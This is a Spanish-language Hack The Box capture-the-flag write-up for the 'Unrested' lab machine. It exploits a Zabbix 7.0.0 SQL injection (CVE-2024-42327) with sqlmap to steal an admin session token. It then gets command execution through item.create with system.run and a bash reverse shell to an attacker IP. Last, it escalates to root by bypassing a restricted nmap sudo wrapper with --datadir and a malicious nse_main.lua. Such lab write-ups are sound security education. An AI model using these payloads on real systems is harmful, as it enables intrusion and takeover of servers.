Descripción
Unrested es una máquina media de Hack The Box que cuenta con las siguientes vulnerabilidades:
- Vulnerabilidad de inyección SQL de Zabbix que conduce a la ejecución remota de comandos
- Elevación de privilegios mediante un script de comandos de Nmap limitado
Reconocimiento
Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina de destino es 10.10.11.50.
$ ping -c 3 10.10.11.50
PING 10.10.11.50 (10.10.11.50) 56(84) bytes of data.
64 bytes from 10.10.11.50: icmp_seq=1 ttl=63 time=44.3 ms
64 bytes from 10.10.11.50: icmp_seq=2 ttl=63 time=43.3 ms
64 bytes from 10.10.11.50: icmp_seq=3 ttl=63 time=43.8 ms
--- 10.10.11.50 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2003ms
rtt min/avg/max/mdev = 43.288/43.796/44.292/0.409 ms
La máquina está activa y con el TTL equivalente a 63 (64 menos 1 salto) podemos asegurar que es una máquina basada en Unix. Ahora vamos a hacer un escaneo de puertos TCP SYN con Nmap para comprobar todos los puertos abiertos.
$ sudo nmap 10.10.11.50 -sS -oN nmap_scan
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.10.11.50
Host is up (0.046s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 0.94 seconds
Obtenemos dos puertos abiertos: 22 y 80.
Enumeración
Luego hacemos un escaneo más avanzado, con la detección de la versión de los servicios y el uso de scripts.
$ nmap 10.10.11.50 -sV -sC -p22,80 -oN nmap_scan_ports
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.10.11.50
Host is up (0.043s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.85 seconds
Obtenemos dos servicios: uno de Secure Shell (SSH) y otro de Hypertext Transfer Protocol (HTTP). Como no tenemos credenciales factibles para el servicio SSH, vamos a movernos al servicio HTTP. Agregamos la dominio unrested.htb al archivo /etc/hosts. En un brecha asumida, tenemos las credenciales del usuario Zabbix matthew, 96qzn0h2e1k3.
$ echo '10.10.11.50 unrested.htb' | sudo tee -a /etc/hosts
Tenemos una forma de inicio de sesión de Zabbix, una aplicación de monitoreo de red, podemos iniciar sesión.
Después de iniciar sesión podemos enumerar la versión de Zabbix instalada en el servidor en la parte final de la página 7.0.0. Encontramos que existe una inyección SQL en la API user.get, CVE-2024-42327. Un usuario no administrado del frontend de Zabbix con el rol de usuario por defecto, o con cualquier otro rol que otorgue acceso a la API, puede explotar esta vulnerabilidad.
Explotación
Podemos empezar enumerando la API de Zabbix, utilizando su documentación. Todos los pedidos se envían al endpoint /zabbix/api_jsonrpc.php. Podemos empezar por iniciar sesión y obtener un token para utilizar en solicitudes futuras.
$ curl -H 'Content-Type: application/json-rpc' -d '{"jsonrpc": "2.0", "method": "user.login", "params": {"username": "matthew", "password": "96qzn0h2e1k3"}, "id": 1}' http://unrested.htb/zabbix/api_jsonrpc.php
{"jsonrpc":"2.0","result":"2a70984d1c7e5ca9b594b79d4c6f62e4","id":1}
Obtenemos el token 2a70984d1c7e5ca9b594b79d4c6f62e4, y nos movemos a enumerar los usuarios utilizando la API user.get.
$ curl -H 'Content-Type: application/json-rpc' -H 'Authorization: Bearer 2a70984d1c7e5ca9b594b79d4c6f62e4' -d '{"jsonrpc": "2.0", "method": "user.get", "params": {}, "id": 1}' http://unrested.htb/zabbix/api_jsonrpc.php
{"jsonrpc":"2.0","result":[],"id":1}
No obtenemos ningún usuario, pero al verificar el código fuente vulnerable de CUser encontramos que si se ingresa el parámetro editable, la consulta se ejecuta correctamente, pero solo se muestra nuestra cuenta.
$ curl -H 'Content-Type: application/json-rpc' -H 'Authorization: Bearer 2a70984d1c7e5ca9b594b79d4c6f62e4' -d '{"jsonrpc": "2.0", "method": "user.get", "params": {"editable": true}, "id": 1}' http://unrested.htb/zabbix/api_jsonrpc.php
{"jsonrpc":"2.0","result":[{"userid":"3","username":"matthew","name":"Matthew","surname":"Smith","url":"","autologin":"1","autologout":"0","lang":"default","refresh":"30s","theme":"default","attempt_failed":"0","attempt_ip":"","attempt_clock":"0","rows_per_page":"50","timezone":"default","roleid":"1","userdirectoryid":"0","ts_provisioned":"0"}],"id":1}
Estamos utilizando esta vulnerabilidad para obtener el token de sesión del administrador. Como vimos en el CVE, la función vulnerable es addRelatedObjects con el parámetro de elementos selectRole. Estamos construyendo la solicitud HTTP para utilizar con el tool SQLmap, con un marcador * que será reemplazado por el payload:
POST /zabbix/api_jsonrpc.php HTTP/1.1
Host: unrested.htb
Authorization: Bearer 1a0bfebca274289fcdcfc7ee2da96eeb
Content-Type: application/json-rpc
Content-Length: 136
Connection: keep-alive
{
"jsonrpc": "2.0",
"method": "user.get",
"params": {"editable": true,
"selectRole":["name*"]
},
"id": 1
}
Luego ejecutamos el comando para encontrar la inyección correcta.
$ sqlmap -r request
...
custom injection marker ('*') found in POST body. Do you want to process it? [Y/n/q] y
JSON data found in POST body. Do you want to process it? [Y/n/q] y
...
[INFO] (custom) POST parameter 'JSON #1*' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
...
(custom) POST parameter 'JSON #1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 77 HTTP(s) requests:
---
Parameter: JSON #1* ((custom) POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: {
"jsonrpc": "2.0",
"method": "user.get",
"params": {"output": [],"editable": true,
"selectRole":["name AND (SELECT 9154 FROM (SELECT(SLEEP(5)))gRnV)"]
},
"id": 1
}
---
Nos movemos a enumerar las bases de datos y tablas. Encontramos la base de datos zabbix y la tabla sessions. Obtenemos el token para el usuario admin, d8977ec9916ac7e9c4b0e2ccc7fe8c06.
$ sqlmap -r requst --dbs
...
available databases [2]:
[*] information_schema
[*] zabbix
...
$ sqlmap -r requst -D zabbix -T sessions --dump
...
Database: zabbix
Table: sessions
[2 entries]
+--------+----------------------------------+----------------------------------+----------+------------+
| userid | sessionid | secret | status | lastaccess |
+--------+----------------------------------+----------------------------------+----------+------------+
| 3 | 1a0bfebca274289fcdcfc7ee2da96eeb | 56c61dde5fc3e2b0487778acd9322e92 | 0 | 1759536365 |
| 1 | d8977ec9916ac7e9c4b0e2ccc7fe8c06 | 7eff931cb856a0d90b1265332c146719 | 0 | 1759533899 |
+--------+----------------------------------+----------------------------------+----------+------------+
...
Con los privilegios del administrador, encontramos que podemos ejecutar comandos en la máquina, con la función de creación de items item.create para crear un nuevo item y la función system.run para ejecutar el comando dentro del trabajo. Esto es un ejemplo de un trabajo encontrado en la documentación, encontramos que necesitamos encontrar la identificación de hostid.
{
"jsonrpc": "2.0",
"method": "item.create",
"params": {
"name": "uname",
"key_": "system.uname",
"hostid": "30021",
"type": 0,
"interfaceid": "30007",
"value_type": 1,
"delay": "10s",
"inventory_link": 5
},
"id": 1
}
Para obtener la identificación del host, podemos utilizar el comando host.get con el token de administración. Obtenemos el ID 10084.
$ curl -s -H 'Content-Type: application/json-rpc' -H 'Authorization: Bearer d8977ec9916ac7e9c4b0e2ccc7fe8c06' -d '{"jsonrpc": "2.0", "method": "host.get", "params": {}, "id": 1}' http://unrested.htb/zabbix/api_jsonrpc.php | jq
{
"jsonrpc": "2.0",
"result": [
{
"hostid": "10084",
"proxyid": "0",
"host": "Zabbix server",
...
Dado que vamos a iniciar una sesión de consola inversa, comienzo a escuchar un puerto TCP.
$ nc -nvlp 1234
Este es el texto completo que vamos a enviar para la ejecución remota de comandos.
{
"jsonrpc": "2.0",
"method": "item.create",
"params": {
"name": "zabbix command execution",
"key_": "system.run[\"/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.14/1234 0>&1'\"]",
"hostid": "10084",
"type": 0,
"interfaceid": 1,
"value_type": 1,
"delay": "10s"
},
"id": 1
}
Recibimos la consola inversa como el usuario zabbix, la actualizamos.
$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.14] from (UNKNOWN) [10.10.11.50] 57408
bash: cannot set terminal process group (2672): Inappropriate ioctl for device
bash: no job control in this shell
zabbix@unrested:/$ id
id
uid=114(zabbix) gid=121(zabbix) groups=121(zabbix)
zabbix@unrested:/$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
zabbix@unrested:/$ ^Z
[1] + 83885 suspended nc -nvlp 1234
$ stty raw -echo; fg
$ reset xterm
zabbix@unrested:/$ export SHELL=bash; export TERM=xterm; stty rows 48 columns 156
Post-Explotación
El usuario zabbix puede ejecutar solo el comando /usr/bin/nmap como usuario root.
zabbix@unrested:/$ sudo -l
Matching Defaults entries for zabbix on unrested:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User zabbix may run the following commands on unrested:
(ALL : ALL) NOPASSWD: /usr/bin/nmap *
Si intentamos iniciar el modo interactivo de nmap para iniciar un terminal, recibimos la mensaje Interactive is disabled for security reasons.. Esto no es un comando nmap, entonces descubrimos que el comando nmap es un script envolvente, no el binario.
zabbix@unrested:/$ sudo nmap --interactive
Interactive is disabled for security reasons.
zabbix@unrested:/$ file /usr/bin/nmap
/usr/bin/nmap: Bourne-Again shell script, ASCII text executable
zabbix@unrested:/$ cat /usr/bin/nmap
#!/bin/bash
#################################
## Restrictive nmap for Zabbix ##
#################################
# List of restricted options and corresponding error messages
declare -A RESTRICTED_OPTIONS=(
["--interactive"]="Interactive mode is disabled for security reasons."
["--script"]="Script mode is disabled for security reasons."
["-oG"]="Scan outputs in Greppable format are disabled for security reasons."
["-iL"]="File input mode is disabled for security reasons."
)
# Check if any restricted options are used
for option in "${!RESTRICTED_OPTIONS[@]}"; do
if [[ "$*" == *"$option"* ]]; then
echo "${RESTRICTED_OPTIONS[$option]}"
exit 1
fi
done
# Execute the original nmap binary with the provided arguments
exec /usr/bin/nmap.original "$@"
Encontramos que este script bloquea las funciones que podrían llevar a la ejecución de comandos. Pero al leer la documentación, encontramos la opción --datadir, que por defecto es /usr/share/nmap, y es el directorio desde donde Nmap leerá los datos en ejecución. Dentro del directorio encontramos el archivo nse_main.lua.
zabbix@unrested:/$ ls /usr/share/nmap/
nmap.dtd nmap-os-db nmap-protocols nmap-service-probes nmap.xsl nse_main.lua
nmap-mac-prefixes nmap-payloads nmap-rpc nmap-services nselib scripts
Este archivo se ejecuta cada vez que la opción de escaneo de Nmap es seleccionada, -sC. Podemos crear un archivo .lua personalizado dentro de otro directorio y luego cargarlo. El comando se ejecutará y tendremos permisos como root.
zabbix@unrested:/$ mktemp -d
/tmp/tmp.bSMRi0IvAo
zabbix@unrested:/$ echo 'os.execute("/bin/bash -i")' > /tmp/tmp.bSMRi0IvAo/nse_main.lua
zabbix@unrested:/$ sudo /usr/bin/nmap --datadir /tmp/tmp.bSMRi0IvAo/ -sC 127.0.0.1
Starting Nmap 7.80 ( https://nmap.org )
root@unrested:/# script /dev/null -c bash
Script started, output log file is '/dev/null'.
root@unrested:/# id
uid=0(root) gid=0(root) groups=0(root)
Flags
En el terminal de root podemos recuperar tanto las flags.
root@unrested:/# cat /home/matthew/user.txt
<REDACTED>
root@unrested:/# cat /root/root.txt
<REDACTED>